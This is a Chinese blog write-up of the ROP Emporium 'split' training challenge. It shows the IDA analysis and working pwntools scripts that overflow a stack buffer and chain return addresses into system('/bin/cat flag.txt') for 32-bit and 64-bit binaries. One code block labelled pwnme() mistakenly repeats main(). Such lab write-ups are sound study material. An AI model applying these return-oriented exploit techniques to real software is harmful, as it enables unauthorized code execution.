split

作者: 杰_74 | 来源:发表于2019-08-05 20:32 被阅读0次

    ropemporium上的链接
    https://ropemporium.com/

    32位

    方法一:

    checksec后试运行,没有开什么特殊的保护


    拖入IDA32位
    main函数 F5,把能点的都点一下

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("split by ROP Emporium");
    puts("32bits\n");
    pwnme();
    puts("\nExiting");
    return 0;
    }

    点进去pwnme()

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("split by ROP Emporium");
    puts("32bits\n");
    pwnme();
    puts("\nExiting");
    return 0;
    }


    由上图看出s距离ebp0x28,就是40,40+4等于44,可以写入96个,还有很多空间使其栈溢出
    gdb找偏移也是44


    找到一个usefulFunction,一看就很useful,我们就用system这个函数,点击usefulFunction后看到text段调用了system,地址为0x08048657



    但是里面的参数不是我们想要的,我们想要的是

    system("/bin/cat flag.txt")

    shift+F12找一下字符串



    把这个换成system的参数

    点它跳转看到地址,字符串地址为0x0804A030


    usefulString

    开始写脚本

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    local = 1
    p = process('./split32')
    
    system = 0x08048657
    flag_addr = 0x0804A030
    
    payload = ''
    payload += 'A'*0x28
    payload += p32(0)
    payload += p32(system)
    payload += p32(flag_addr)
    
    p.sendline(payload)
    p.interactive()
    
    方法二:

    找plt表上的system,地址为0x08048430



    usefulString地址不变,还是0x0804A030

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    local = 1
    elf = ELF('./split32')
    p = process('./split32')
    
    system_plt = 0x08048430
    #system_plt = elf.plt['system']
    flag_addr = 0x0804A030
    '''
    payload = ''
    payload += 'A'*44
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(flag_addr)
    
    '''
    payload = ''
    payload += 'A'*0x28
    payload += p32(0)
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(flag_addr)
    
    p.sendline(payload)
    p.interactive()
    

    成功后


    64位

    64位基本是一样的,不同点在于它们的传参方式不同,64位是用寄存器存储的,那我们先用ROPgadget找到第一个寄存器rdi的gadget

    ROPgadget --binary split --only "pop|ret"


    我们可以明显看出0x400883是适用的

    从下面这张图看出填充字符为0x20+'A'*8或0x20+p64(0)


    写脚本(就只用第一种方法啦)

    #coding=utf8
    from pwn import *
    context.log_level = 'debug'
    local = 1
    elf = ELF('./split')
    p = process('./split')
    
    system = 0x400810
    flag_addr = 0x601060
    pop_rdi = 0x400883
    
    payload = ''
    payload += 'A'*0x20
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(flag_addr)
    payload += p64(system)
    
    p.sendline(payload)
    p.interactive()
    

    get shell


    以上的flag均为ROPE{a_placeholder_32byte_flag!}

    相关文章

      网友评论

          本文标题:split

          本文链接:https://www.haomeiwen.com/subject/hwgmdctx.html